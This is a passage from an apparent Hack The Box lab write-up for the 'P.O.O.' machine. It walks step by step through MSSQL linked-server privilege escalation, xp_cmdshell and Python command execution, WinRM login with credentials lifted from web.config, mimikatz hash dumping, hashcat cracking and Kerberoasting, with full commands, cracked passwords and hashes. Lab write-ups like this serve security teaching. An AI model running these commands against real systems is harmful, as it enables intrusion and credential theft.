to find a previsouly hidden database (from our external_user) on `COMPATIBILITY\POO_PUBLIC` - -`select * from openquery("COMPATIBILITY\POO_CONFIG",'select * from openquery("COMPATIBILITY\POO_PUBLIC",''SELECT * FROM flag.dbo.flag'')')` - -![MSSQL](/assets/images/htb-writeup-poo/Screenshot_7.png) - -![MSSQL](/assets/images/htb-writeup-poo/Screenshot_8.png) - -![MSSQL](/assets/images/htb-writeup-poo/Screenshot_9.png) - -We found a flag in flag.dbo.flag: `POO{88d829eb39f2d1...}` - -### MSSQL RCE - -Next, we can create ourselves a user on `COMPATIBILITY\POO_PUBLIC` with `sysadmin` privileges so we don't need to go through linked servers again. - -`EXECUTE('EXECUTE(''EXEC master..sp_addlogin ''''booya'''', ''''0wned123!'''''') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG"` - -![MSSQL](/assets/images/htb-writeup-poo/Screenshot_10.png) - -And then add it the `sysadmin` privileges: - -`EXECUTE('EXECUTE(''EXEC master..sp_addsrvrolemember ''''booya'''', ''''sysadmin'''''') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG"` - -![MSSQL](/assets/images/htb-writeup-poo/Screenshot_11.png) - -Now that we have `sysadmin` privileges, we can execute commands using `xp_cmdshell`: - -``` -PS C:\Users\snowscan> $user = "booya" -PS C:\Users\snowscan> $pass = "0wned123!" -PS C:\Users\snowscan> get-sqlquery -verbose -instance $i -username $user -password $pass -query "xp_cmdshell 'whoami'" -VERBOSE: 10.13.38.11,1433 : Connection Success. - -output ------- -nt service\mssql$poo_public -``` - -Even though we have `sysadmin` access in the database, we only a limited OS access with `nt service\mssql$poo_public` - -We don't have outbound IPv4 connectivity, the General Failure error message probably means there's no IPv4 address on the interface: - -``` -PS C:\Users\snowscan> get-sqlquery -verbose -instance $i -username $user -password $pass -query "xp_cmdshell 'ping 10.14.14.7'" -VERBOSE: 10.13.38.11,1433 : Connection Success. - -output ------- - -Pinging 10.14.14.7 with 32 bytes of data: -General failure. -General failure. -General failure. -General failure. - -Ping statistics for 10.14.14.7: - Packets: Sent = 4, Received = 0, Lost = 4 (100% loss), -``` - -Local port enumeration shows that the WinRM port 5985 is listening for IPv6 connections: - -``` - output - ------ - - Active Connections - - Proto Local Address Foreign Address State - - TCP [::]:80 [::]:0 LISTENING - TCP [::]:135 [::]:0 LISTENING - TCP [::]:445 [::]:0 LISTENING - TCP [::]:1433 [::]:0 LISTENING - TCP [::]:5985 [::]:0 LISTENING - TCP [::]:41433 [::]:0 LISTENING - TCP [::]:47001 [::]:0 LISTENING - TCP [::]:49664 [::]:0 LISTENING - TCP [::]:49665 [::]:0 LISTENING - TCP [::]:49666 [::]:0 LISTENING - TCP [::]:49667 [::]:0 LISTENING - TCP [::]:49668 [::]:0 LISTENING - TCP [::]:49669 [::]:0 LISTENING - TCP [::]:49710 [::]:0 LISTENING - TCP [::1]:50280 [::]:0 LISTENING - TCP [::1]:50311 [::]:0 LISTENING -``` - -The IPv6 address is `dead:babe::1001`: - -``` -PS C:\Users\snowscan> get-sqlquery -verbose -instance $i -username $user -password $pass -query "xp_cmdshell 'ipconfig /all'" -VERBOSE: 10.13.38.11,1433 : Connection Success. - -output ------- - -Windows IP Configuration - - Host Name . . . . . . . . . . . . : COMPATIBILITY - Primary Dns Suffix . . . . . . . : intranet.poo - Node Type . . . . . . . . . . . . : Hybrid - IP Routing Enabled. . . . . . . . : No - WINS Proxy Enabled. . . . . . . . : No - DNS Suffix Search List. . . . . . : intranet.poo - -Ethernet adapter Ethernet0: - - Connection-specific DNS Suffix . : - Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection - Physical Address. . . . . . . . . : 00-50-56-8F-F7-4E - DHCP Enabled. . . . . . . . . . . : No - Autoconfiguration Enabled . . . . : Yes - IPv6 Address. . . . . . . . . . . : dead:babe::1001(Preferred) - Link-local IPv6 Address . . . . . : fe80::55b2:8257:8174:cc7%13(Preferred) - IPv4 Address. . . . . . . . . . . : 10.13.38.11(Preferred) - Subnet Mask . . . . . . . . . . . : 255.255.255.0 - Default Gateway . . . . . . . . . : dead:babe::1 - 10.13.38.2 - DNS Servers . . . . . . . . . . . : dead:babe::1 - 10.13.38.2 - NetBIOS over Tcpip. . . . . . . . : Disabled -``` - -We can't read anything interesting with this user: - -``` -PS C:\Users\snowscan> get-sqlquery -verbose -instance $i -username $user -password $pass -query "xp_cmdshell 'type c:\\inetpub\\wwwroot\\web.config'" -VERBOSE: 10.13.38.11,1433 : Connection Success. - -output ------- -Access is denied. -``` - -We'll need to look for another way in. - -### Python to the rescue - -MSSQL supports python, we can find the local administrator password by doing `system()` calls. - -[http://www.nielsberglund.com/2017/04/20/sql-server-2017-python-executing-from-sql/](http://www.nielsberglund.com/2017/04/20/sql-server-2017-python-executing-from-sql/) - -First, we need to make sure Python is enabled on the MSSQL server: - -``` -EXEC sp_configure 'external scripts enabled', 1 -RECONFIGURE WITH OVERRIDE -``` - -![MSSQL](/assets/images/htb-writeup-poo/Screenshot_12.png) - -Next, let's execute a simple script that'll do a `system()` call and run Windows commands: - -![MSSQL](/assets/images/htb-writeup-poo/Screenshot_13.png) - -So, the script is running as a different user than `xp_cmdshell` commands, we are now `POO_PUBLIC01` - -After looking around the filesystem for a while, we find the local `Administrator` credentials: - -``` -EXEC sp_execute_external_script -@language =N'Python', -@script= N'import os; os.system("type c:\\inetpub\\wwwroot\\web.config")'; -GO -``` - -``` -STDOUT message(s) from external script: -C:\PROGRA~1\MICROS~1\MSSQL1~1.POO\MSSQL\EXTENS~1\POO_PUBLIC01\A093E4EB-BBD9-4913-A10A-337EB23B1BBD - - -STDOUT message(s) from external script: - - - - - - - - - - -Express Edition will continue to be enforced. -``` - -Local credentials - -- name: Administrator -- password: EverybodyWantsToWorkAtP.O.O. - -### Foothold - -Remember that we previously discovered WinRM was listening on port 5985 and IPv6. - -First, we need to setup our local attacker Windows 10 machine to trust the remote host and allow unencrypted connections (port 5985 is HTTP only). - -``` -PS C:\Windows\system32> winrm set winrm/config/client '@{AllowUnencrypted="true"}' -PS C:\Windows\system32> winrm set winrm/config/client '@{TrustedHosts="[dead:babe::1001]"}' -Client - NetworkDelayms = 5000 - URLPrefix = wsman - AllowUnencrypted = true - Auth - Basic = true - Digest = true - Kerberos = true - Negotiate = true - Certificate = true - CredSSP = false - DefaultPorts - HTTP = 5985 - HTTPS = 5986 - TrustedHosts = [dead:babe::1001] -``` - -Then we'll log in using the credentials we found in web.config - -``` -PS C:\Users\snowscan> $SecPassword = ConvertTo-SecureString 'EverybodyWantsToWorkAtP.O.O.' -AsPlainText -Force -PS C:\Users\snowscan> $Credential = New-Object System.Management.Automation.PSCredential('Administrator', $SecPassword) -PS C:\Users\snowscan> enter-pssession -computername [dead:babe::1001] -credential $Credential - -[[dead:babe::1001]]: PS C:\Users\Administrator> cd desktop -[[dead:babe::1001]]: PS C:\Users\Administrator\desktop> dir - - Directory: C:\Users\Administrator\desktop - - -Mode LastWriteTime Length Name ----- ------------- ------ ---- --a---- 3/26/2018 5:29 PM 37 flag.txt - - -[[dead:babe::1001]]: PS C:\Users\Administrator\desktop> type flag.txt -POO{ff87c4fe10e2ef09...} -``` - -Another flag found: `POO{ff87c4fe10e2ef09...}` - -### BackTrack flag - -There's another flag hidden in the admin directory of the webserver inside the `iisstart.htm` page: - -``` -[[dead:babe::1001]]: PS C:\> get-childitem -recurse -path c:\inetpub | select-string -pattern "POO{" - -inetpub\wwwroot\admin\iisstart.htm:4:Flag : POO{4882bd2ccfd4b53...} -inetpub\wwwroot\dev\304c0c90fbc6520610abbf378e2339d1\db\poo_connection.txt:6:Flag : POO{fcfb0767f5bd3cbc22f...} -inetpub\wwwroot\dev\dca66d38fd916317687e1390a420c3fc\db\poo_connection.txt:6:Flag : POO{fcfb0767f5bd3cbc22f...} - -[[dead:babe::1001]]: PS C:\> type C:\inetpub\wwwroot\admin\iisstart.htm -"I can't go back to yesterday, because i was a different person then..."
    -- Alice in Wonderland
    -
    -Flag : POO{4882bd2ccfd4b53...} -``` - -Flag: `POO{4882bd2ccfd4b53...}` - -### Turning up the heat with mimikatz - -Since we have local admin privs on the server we will upload mimikatz to find some passwords in memory: - -``` -PS C:\Users\snowscan> $session = new-pssession -computername [dead:babe::1001] -credential $Credential -PS C:\Users\snowscan> copy-item -tosession $session -path c:\users\snowscan\downloads\mimikatz.exe -destination c:\temp -PS C:\Users\snowscan> copy-item -tosession $session -path c:\users\snowscan\downloads\mimidrv.sys -destination c:\temp -PS C:\Users\snowscan> copy-item -tosession $session -path c:\users\snowscan\downloads\mimilib.dll -destination c:\temp -``` - -There's a glitch running mimikatz.exe from our WinRM Sessinon, it keeps scrolling the screen and we can't input anything. - -So we'll just issue all commands on one line instead using `.\mimikatz.exe token::elevate lsadump::sam exit` - -We can grab the local account hashes but we are already local admin so these are pretty much useless. - -``` -mimikatz(commandline) # lsadump::sam -Domain : COMPATIBILITY -SysKey : 6dcfa5e3811b05c0a5206da6384f406f -Local SID : S-1-5-21-158512341-328150952-995267585 - -SAMKey : 03229f5d2ecab8b1cc95959c14856ded - -RID : 000001f4 (500) -User : Administrator - Hash NTLM: a6678287c3e811f1eaef2f1986da157a - lm - 0: 252720cc3ea62ef269fe2d0bce3dbad5 - ntlm- 0: a6678287c3e811f1eaef2f1986da157a - ntlm- 1: 39b00baccb2ec3b25f175de4d5371709 - -RID : 000001f5 (501) -User : Guest - -RID : 000001f7 (503) -User : DefaultAccount - -RID : 000003ea (1002) -User : POO_PUBLIC00 - Hash NTLM: 42cc6a0e40743e9cb29411a68a4513c0 - lm - 0: 4a3d95f55be191afc9efe81330d1d01d - ntlm- 0: 42cc6a0e40743e9cb29411a68a4513c0 - -RID : 000003eb (1003) -User : POO_PUBLIC01 - Hash NTLM: 690c61db0425d35b3a1cc6cd9a7c6e9b - lm - 0: f6767667be6b0cdc2d689cc975259342 - ntlm- 0: 690c61db0425d35b3a1cc6cd9a7c6e9b - -RID : 000003ec (1004) -User : POO_PUBLIC02 - Hash NTLM: 7e234179207ba2f0aac8ef8097763689 - lm - 0: 87d54ac6f13680f67e9acea7e2a63894 - ntlm- 0: 7e234179207ba2f0aac8ef8097763689 - -RID : 000003ed (1005) -User : POO_PUBLIC03 - Hash NTLM: 9f60b98abc6b26428a7189b15ab130d0 - lm - 0: 0ed19b8dc5fd0199795dc27130a6d7e9 - ntlm- 0: 9f60b98abc6b26428a7189b15ab130d0 - -RID : 000003ee (1006) -User : POO_PUBLIC04 - Hash NTLM: 25f6a1404e10a114ec112649e7651ac0 - lm - 0: 62509e9573a716316748f18bfe4d589f - ntlm- 0: 25f6a1404e10a114ec112649e7651ac0 - -RID : 000003ef (1007) -User : POO_PUBLIC05 - Hash NTLM: a5870e78fc723b557c714ab7f1bcadd2 - lm - 0: 24bfa8832a752169f0aeb95b1623e0f0 - ntlm- 0: a5870e78fc723b557c714ab7f1bcadd2 - -RID : 000003f0 (1008) -User : POO_PUBLIC06 - Hash NTLM: f58bc106ba870fec60e50481f768f942 - lm - 0: 81dbc07dd0c22e23765796c2d4ec4969 - ntlm- 0: f58bc106ba870fec60e50481f768f942 - -RID : 000003f1 (1009) -User : POO_PUBLIC07 - Hash NTLM: 9b9c11a445e2aea545f8938ac09b1922 - lm - 0: 44471764257c7fa1fcccdc51fc5455ff - ntlm- 0: 9b9c11a445e2aea545f8938ac09b1922 - -RID : 000003f2 (1010) -User : POO_PUBLIC08 - Hash NTLM: 157332d85d901b3a0adfca7fbbcd6af5 - lm - 0: d1efd49233e98fc94a1eb7ade4860415 - ntlm- 0: 157332d85d901b3a0adfca7fbbcd6af5 - -RID : 000003f3 (1011) -User : POO_PUBLIC09 - Hash NTLM: c670d13961c29508381c0e121b8270c2 - lm - 0: 23c1f1862f1ae2d1a2d5dd3cbeae0a05 - ntlm- 0: c670d13961c29508381c0e121b8270c2 - -RID : 000003f4 (1012) -User : POO_PUBLIC10 - Hash NTLM: c0b62fb43b73abe7b6c31dbf881e747b - lm - 0: 7869a3a7ed47dee5e5321049dae24faa - ntlm- 0: c0b62fb43b73abe7b6c31dbf881e747b - -RID : 000003f5 (1013) -User : POO_PUBLIC11 - Hash NTLM: 4f9400995fe130519c17f628d4ede212 - lm - 0: 86a4242463bd52d2eeb6e991eae1bf7d - ntlm- 0: 4f9400995fe130519c17f628d4ede212 - -RID : 000003f6 (1014) -User : POO_PUBLIC12 - Hash NTLM: ac89c4c406747afaa04b07f39889985f - lm - 0: d1b082417e24f2e7c6d37e792db814c1 - ntlm- 0: ac89c4c406747afaa04b07f39889985f - -RID : 000003f7 (1015) -User : POO_PUBLIC13 - Hash NTLM: 6f593e0259a23d502368a934c090859d - lm - 0: e48522c99e9a2b285d847ef147a0c8e4 - ntlm- 0: 6f593e0259a23d502368a934c090859d - -RID : 000003f8 (1016) -User : POO_PUBLIC14 - Hash NTLM: d8225db19d4d17aec00bcddbc7f51b8c - lm - 0: 51b457e4c7987053becc8d58f3cb5627 - ntlm- 0: d8225db19d4d17aec00bcddbc7f51b8c - -RID : 000003f9 (1017) -User : POO_PUBLIC15 - Hash NTLM: 3e5794d444d5ba749132ea93cb721b7c - lm - 0: f7e1c288f749daf0e4aa121189e45279 - ntlm- 0: 3e5794d444d5ba749132ea93cb721b7c - -RID : 000003fa (1018) -User : POO_PUBLIC16 - Hash NTLM: bf9d2e47676eec558780341f7321362c - lm - 0: bdd2d7bb867c5d1de6efc5bc05eae4b2 - ntlm- 0: bf9d2e47676eec558780341f7321362c - -RID : 000003fb (1019) -User : POO_PUBLIC17 - Hash NTLM: 4696122ebd0587fa8686876167f3ca2f - lm - 0: 64f4aa9ab787d9fe3501aaabae82b573 - ntlm- 0: 4696122ebd0587fa8686876167f3ca2f - -RID : 000003fc (1020) -User : POO_PUBLIC18 - Hash NTLM: eb2f582902e6564fd7cbaace3988a452 - lm - 0: a13cd634916ab840da1fc8b048d445dd - ntlm- 0: eb2f582902e6564fd7cbaace3988a452 - -RID : 000003fd (1021) -User : POO_PUBLIC19 - Hash NTLM: aa982b8ea00487831241cba3a6cd8a2d - lm - 0: af7af1ae285f02c19660e7ed9ed2389b - ntlm- 0: aa982b8ea00487831241cba3a6cd8a2d - -RID : 000003fe (1022) -User : POO_PUBLIC20 - Hash NTLM: 0e20a30da1637d53042d253d99e416ed - lm - 0: 7b2ab4d63bc9a4c33a345bc5b9d49561 - ntlm- 0: 0e20a30da1637d53042d253d99e416ed - -RID : 000003ff (1023) -User : zc00l - Hash NTLM: 0ab5e584021f433f9d2e222e35c95261 - lm - 0: dccb3c3471701f949d318fdca8495be7 - ntlm- 0: 0ab5e584021f433f9d2e222e35c95261 -``` - -The cache is much more interesting as we have two domain accounts here: - -``` -[[dead:babe::1001]]: PS C:\temp> .\mimikatz.exe token::elevate lsadump::cache exit - -mimikatz(commandline) # lsadump::cache -Domain : COMPATIBILITY -SysKey : 6dcfa5e3811b05c0a5206da6384f406f - -Local name : COMPATIBILITY ( S-1-5-21-158512341-328150952-995267585 ) -Domain name : POO ( S-1-5-21-2413924783-1155145064-2969042445 ) -Domain FQDN : intranet.poo - -Policy subsystem is : 1.14 -LSA Key(s) : 1, default {686c3d5a-8dfb-714b-4a74-6ce5e45bd0f8} - [00] {686c3d5a-8dfb-714b-4a74-6ce5e45bd0f8} edde363d2913f57c555e9d3b2989e42d432c9fae46f8ca29572822ad3fcbc70e - -* Iteration is set to default (10240) - -[NL$1 - 3/22/2018 6:45:01 PM] -RID : 00000452 (1106) -User : POO\p00_dev -MsCacheV2 : 7afecfd48f35f666ae9f6edd53506d0c - -[NL$2 - 3/22/2018 3:36:34 PM] -RID : 00000453 (1107) -User : POO\p00_adm -MsCacheV2 : 32c28e9a78d7c3e7d2f84cbfcabebeed - -mimikatz(commandline) # exit -Bye! -``` - -We'll put those in a format hashcat can understand: - -``` -$DCC2$10240#p00_dev#7afecfd48f35f666ae9f6edd53506d0c -$DCC2$10240#p00_adm#32c28e9a78d7c3e7d2f84cbfcabebeed -``` - -Using hashcat, let's try all the SecLists password wordlists with a rule (it takes a while since DDC2 is a slow hash): - -``` -hashcat64 -a 0 -m 2100 -r rules\best64.rule mscachev2.txt passwords\* -``` - -Bingo! We cracked the two hashes: - - - p00_dev: Development1! - - p00_adm: ZQ!zaq1 - -... but when we try p00_adm later we'll find out that it's an old password that doesn't work. - -So what we'll do instead is use `invoke-kerberoast` to get the TGS ticket hashes and crack them offline: - -![MSSQL](/assets/images/htb-writeup-poo/Screenshot_20.png) - -``` -SamAccountName : p00_adm -DistinguishedName : CN=p00_adm,CN=Users,DC=intranet,DC=poo -ServicePrincipalName : cyber_audit/intranet.poo:443 -Hash : -$krb5tgs$23$*ID#124_DISTINGUISHED NAME: - CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdf,DC=pd,DC=fakedomain,DC=com SPN: - F3514235-4C06-11D1-AB04-00D04FC2DCD2-GDCD/asdf.asdf.pd.fakedomain.com:50000 *9620431D1BC1A2DF294 - A18B600DC2059$B10813B73B0CBBA3446682112C221A01BDE25B8FCE87B66F3967CD45FFEE9E6446C16D4D90EA0956E3 - C9BEFDFC3C9855007C323BB99BC397063024FCB5CD34B3EFD0B1280A13F0D1200E543A6A71BEBB4AF120F20B32B7C4BE - BBC8660F01B973B382697E934493127294DD302B7AB10A117B22C5FBEE38B0ECF5B0525BCCE1F437B03E00A8C58243FF - 9CA6EF986AE9D92335F5412C22D96E96592F8CB9AFA0F93966BFBC48DA58C2A2333169599301A236D36CE9B26EFA30F7 - A6ED991C0EB139D9293930F8DC7B4BBB8675ECF273EC4D218F349A188B314B569F57570C06FF1C2B0FB06B22C37FAF46 - 78FF92B4D7FE37E14DBF3A5C383B12973B4509173D50688B431D33F5E8B97F009AA14218E787E3FBB4794BD930B38515 - 82AEBD8935B8E399CC146FD8684D5FC4291643A11D6130F1D8879CAFEB48CE06C709D3D4FBC2AE10748960CB6CD3A12D - C80F55996CD92237FC8C2A72593797AECA14B8DD1A3F46255C7158D23C2E673CC6217255A588AF9FA747B6535EA2937C - 808DA782BBBF6BEDDEEC84470AF914A35E581B735A288354A4CE9DA724C34C1AA1523D2730B6ECDF93FEBCE76309B969 - D9CDD71CA2762E932939AB56210340E95E4F8A6FE9B59F4C0FACA946FF96C0D46F00C6703A4531B768AB5DCAC09EAF52 - 6CFE58FD1DE7C2E69E04C2124CC7104E71FADAC495027A5C7F72347EBA61FE119A5C5ACE54E1EE6E10BD4204775E83AD - 668767D59366F3D293E8747A9C7AD60345B74226FCE4FA3A65E1E04861BE3B2734361D4C5B5FA7632F44758110E4C912 - 2F5B2F6144121EA3E6EE2DAD9C3350889B0D26CCEB506A136ECEC225ED18FC294DF62BDB7D6B4A14F448A6258D3C702D - 98371B1873B8738A4F4AAD87C5C3FCF65B7AD3B1E5AB81BF40DEBC05605130CDC82F35B6936A543746EB36C42A98893F - 659434436DC391B8CFFB3376EF323B5ABCA66345297221CC5038C0B6905185A9F1A3CED3537BBA4F3ECE5EEE6A363EFF - FE9D532E6DB81DB29CCB4206E877E36B2AA5DB0DB1F0E430808C6E844277D51BF65D393123692E6381E3DB2219D782FA - FAF49511A4692E3CD3650DD51D987522D6F06281E3A1FE84A7D1DD9028F08D1C66581BED8EA82E6FB0D67FAB73CC3FBB - 5FB2339A136FF7CE9D0E6E17D0FE50E84FC57D1A2B69BABEA4EA77EA2E0D036F6CE6B3BD3929E6EE50679C8CECEDA6FD - 1C46A345D9BBCC5A9163B643C0D0A66AB2D9A936CACEA7E14B659DF2F414833F8AB03404A947A49431C0E458D136D758 - EF79709F8BB580D85CC3B8F0D9990DE9EC193B770150A3ED3470019B7D5FFC0F9515F6AFC73C8D435166BE05D5F72506 - 2E30367B707C9D7BC4D5D66CA8F82654EB5DD55AEE2FB15EF1D4BDFF0F01ED4040C2E1BDBBA1E41560EB156EF5C94F50 - 7121CA4D0E76A1A6668F43A32933087F11273FCA0ABC89A53DCC3D69B8300AEBB30318090A6C7EBA72C91F8116EE8929 - 0CB267D5 -``` - -``` -hashcat64 -a 0 -m 13100 -r rules\best64.rule tgshash.txt Passwords\* -``` - -Password found: `ZQ!5t4r` - -### Bloodhound - -Unfortunately we can't establish an interactive session with our two users: - -``` -PS C:\Users\snowscan> $SecPassword = ConvertTo-SecureString 'ZQ!5t4r' -AsPlainText -Force -PS C:\Users\snowscan> $Credential = New-Object System.Management.Automation.PSCredential('p00_adm', $SecPassword) -PS C:\Users\snowscan> enter-pssession -computername [dead:babe::1001] -credential $Credential -enter-pssession : Connecting to remote server [dead:babe::1001] failed with the following error message : Access is denied. For more information, see the -about_Remote_Troubleshooting Help topic. -At line:1 char:1 -+ enter-pssession -computername [dead:babe::1001] -credential $Credenti ... -+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - + CategoryInfo : InvalidArgument: ([dead:babe::1001]:String) [Enter-PSSession], PSRemotingTransportException - + FullyQualifiedErrorId : CreateRemoteRunspaceFailed - -PS C:\Users\snowscan> $SecPassword = ConvertTo-SecureString 'Development1!' -AsPlainText -Force -PS C:\Users\snowscan> $Credential = New-Object System.Management.Automation.PSCredential('p00_dev', $SecPassword) -PS C:\Users\snowscan> enter-pssession -computername [dead:babe::1001] -credential $Credential -enter-pssession : Connecting to remote server [dead:babe::1001] failed with the following error message : Access is denied. For more information, see the -about_Remote_Troubleshooting Help topic. -At line:1 char:1 -+ enter-pssession -computername [dead:babe::1001] -credential $Credenti ... -+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - + CategoryInfo : InvalidArgument: ([dead:babe::1001]:String) [Enter-PSSession], PSRemotingTransportException - + FullyQualifiedErrorId : CreateRemoteRunspaceFailed -``` - -Using MSSQL with xp_cmdshell, we can use Powerview to poke around the DC: - -``` -logoncount : 13 -badpasswordtime : 4/11/2018 11:16:31 PM -description : Built-in account for administering the computer/domain -distinguishedname : CN=Administrator,CN=Users,DC=intranet,DC=poo -objectclass : {top, person, organizationalPerson, user} -name : Administrator -objectsid : S-1-5-21-2413924783-1155145064-2969042445-500 -samaccountname : Administrator -logonhours : {255, 255, 255, 255...} -admincount : 1 -codepage : 0 -samaccounttype : USER_OBJECT -accountexpires : 1/1/1601 2:00:00 AM -countrycode : 0 -whenchanged : 4/11/2018 9:45:33 PM -instancetype : 4 -objectguid : 28181e2a-574b-4c3f-a3bb-8953283b3a9c -lastlogon : 3/15/2018 12:31:41 AM -lastlogoff : 1/1/1601 2:00:00 AM -objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=intranet,DC=poo -dscorepropagationdata : {3/22/2018 4:08:40 PM, 3/21/2018 7:17:00 PM, 3/16/2018 10:35:01 AM, 3/16/2018 10:35:01 AM...} -memberof : {CN=Group Policy Creator Owners,CN=Users,DC=intranet,DC=poo, CN=Domain - Admins,CN=Users,DC=intranet,DC=poo, CN=Enterprise Admins,CN=Users,DC=intranet,DC=poo, - CN=Schema Admins,CN=Users,DC=intranet,DC=poo...} -whencreated : 3/16/2018 10:19:14 AM -iscriticalsystemobject : True -badpwdcount : 28 -cn : Administrator -useraccountcontrol : ACCOUNTDISABLE, NORMAL_ACCOUNT -usncreated : 8196 -primarygroupid : 513 -pwdlastset : 4/12/2018 12:45:33 AM -usnchanged : 69874 -NULL -pwdlastset : 1/1/1601 2:00:00 AM -logoncount : 0 -badpasswordtime : 1/1/1601 2:00:00 AM -description : Built-in account for guest access to the computer/domain -distinguishedname : CN=Guest,CN=Users,DC=intranet,DC=poo -objectclass : {top, person, organizationalPerson, user} -name : Guest -objectsid : S-1-5-21-2413924783-1155145064-2969042445-501 -samaccountname : Guest -codepage : 0 -samaccounttype : USER_OBJECT -accountexpires : NEVER -countrycode : 0 -whenchanged : 3/16/2018 10:19:14 AM -instancetype : 4 -objectguid : 89b1713e-77d0-4636-88f3-3f966396a869 -lastlogon : 1/1/1601 2:00:00 AM -lastlogoff : 1/1/1601 2:00:00 AM -objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=intranet,DC=poo -dscorepropagationdata : {3/16/2018 10:19:52 AM, 1/1/1601 12:00:01 AM} -memberof : CN=Guests,CN=Builtin,DC=intranet,DC=poo -whencreated : 3/16/2018 10:19:14 AM -badpwdcount : 0 -cn : Guest -useraccountcontrol : ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD -usncreated : 8197 -primarygroupid : 514 -iscriticalsystemobject : True -usnchanged : 8197 -NULL -pwdlastset : 1/1/1601 2:00:00 AM -logoncount : 0 -badpasswordtime : 1/1/1601 2:00:00 AM -description : A user account managed by the system. -distinguishedname : CN=DefaultAccount,CN=Users,DC=intranet,DC=poo -objectclass : {top, person, organizationalPerson, user} -name : DefaultAccount -objectsid : S-1-5-21-2413924783-1155145064-2969042445-503 -samaccountname : DefaultAccount -codepage : 0 -samaccounttype : USER_OBJECT -accountexpires : NEVER -countrycode : 0 -whenchanged : 3/16/2018 10:19:14 AM -instancetype : 4 -objectguid : ba3ccc6b-962c-47d8-a8c3-3dcb17a0a22c -lastlogon : 1/1/1601 2:00:00 AM -lastlogoff : 1/1/1601 2:00:00 AM -objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=intranet,DC=poo -dscorepropagationdata : {3/16/2018 10:19:52 AM, 1/1/1601 12:00:01 AM} -memberof : CN=System Managed Accounts Group,CN=Builtin,DC=intranet,DC=poo -whencreated : 3/16/2018 10:19:14 AM -badpwdcount : 0 -cn : DefaultAccount -useraccountcontrol : ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD -usncreated : 8198 -primarygroupid : 513 -iscriticalsystemobject : True -usnchanged : 8198 -NULL -logoncount : 68 -badpasswordtime : 3/26/2018 12:45:09 PM -description : P.O.O. Domain Administrator -distinguishedname : CN=mr3ks,CN=Users,DC=intranet,DC=poo -objectclass : {top, person, organizationalPerson, user} -displayname : mr3ks -lastlogontimestamp : 3/30/2018 12:16:01 AM -name : mr3ks -objectsid : S-1-5-21-2413924783-1155145064-2969042445-1000 -samaccountname : mr3ks -logonhours : {255, 255, 255, 255...} -admincount : 1 -codepage : 0 -samaccounttype : USER_OBJECT -accountexpires : 1/1/1601 2:00:00 AM -countrycode : 0 -whenchanged : 3/29/2018 9:16:01 PM -instancetype : 4 -objectguid : 319c782b-5a67-445a-9118-4b5c9ec2bd59 -lastlogon : 4/7/2018 1:50:00 PM -lastlogoff : 1/1/1601 2:00:00 AM -objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=intranet,DC=poo -dscorepropagationdata : {3/22/2018 3:58:57 PM, 3/22/2018 1:08:40 PM, 3/22/2018 12:32:59 PM, 3/21/2018 7:17:00 PM...} -whencreated : 3/16/2018 10:19:14 AM -badpwdcount : 0 -cn : mr3ks -useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD -usncreated : 8199 -primarygroupid : 512 -pwdlastset : 3/22/2018 6:28:15 PM -usnchanged : 57372 -NULL -logoncount : 0 -badpasswordtime : 1/1/1601 2:00:00 AM -description : Key Distribution Center Service Account -distinguishedname : CN=krbtgt,CN=Users,DC=intranet,DC=poo -objectclass : {top, person, organizationalPerson, user} -name : krbtgt -primarygroupid : 513 -objectsid : S-1-5-21-2413924783-1155145064-2969042445-502 -samaccountname : krbtgt -admincount : 1 -codepage : 0 -samaccounttype : USER_OBJECT -showinadvancedviewonly : True -accountexpires : NEVER -cn : krbtgt -whenchanged : 3/22/2018 4:08:40 PM -instancetype : 4 -objectguid : f726675e-d7e8-43bd-9c19-ce0e14b91038 -lastlogon : 1/1/1601 2:00:00 AM -lastlogoff : 1/1/1601 2:00:00 AM -objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=intranet,DC=poo -dscorepropagationdata : {3/22/2018 4:08:40 PM, 3/21/2018 7:17:00 PM, 3/16/2018 10:35:01 AM, 3/16/2018 10:19:52 - AM...} -serviceprincipalname : kadmin/changepw -memberof : CN=Denied RODC Password Replication Group,CN=Users,DC=intranet,DC=poo -whencreated : 3/16/2018 10:19:51 AM -iscriticalsystemobject : True -badpwdcount : 0 -useraccountcontrol : ACCOUNTDISABLE, NORMAL_ACCOUNT -usncreated : 12324 -countrycode : 0 -pwdlastset : 3/16/2018 12:19:51 PM -msds-supportedencryptiontypes : 0 -usnchanged : 32891 -NULL -logoncount : 0 -badpasswordtime : 1/1/1601 2:00:00 AM -distinguishedname : CN=p00_hr,CN=Users,DC=intranet,DC=poo -objectclass : {top, person, organizationalPerson, user} -name : p00_hr -objectsid : S-1-5-21-2413924783-1155145064-2969042445-1105 -samaccountname : p00_hr -codepage : 0 -samaccounttype : USER_OBJECT -accountexpires : 1/1/1601 2:00:00 AM -countrycode : 0 -whenchanged : 3/21/2018 7:09:38 PM -instancetype : 4 -objectguid : 7d359419-cb48-4d54-b1fd-f2eabf8ae94d -lastlogon : 1/1/1601 2:00:00 AM -lastlogoff : 1/1/1601 2:00:00 AM -objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=intranet,DC=poo -dscorepropagationdata : 1/1/1601 12:00:00 AM -serviceprincipalname : HR_peoplesoft/intranet.poo:1433 -whencreated : 3/21/2018 7:06:32 PM -badpwdcount : 0 -cn : p00_hr -useraccountcontrol : NORMAL_ACCOUNT -usncreated : 25712 -primarygroupid : 513 -pwdlastset : 3/21/2018 9:06:32 PM -usnchanged : 25727 -NULL -logoncount : 19 -badpasswordtime : 4/11/2018 10:58:02 PM -distinguishedname : 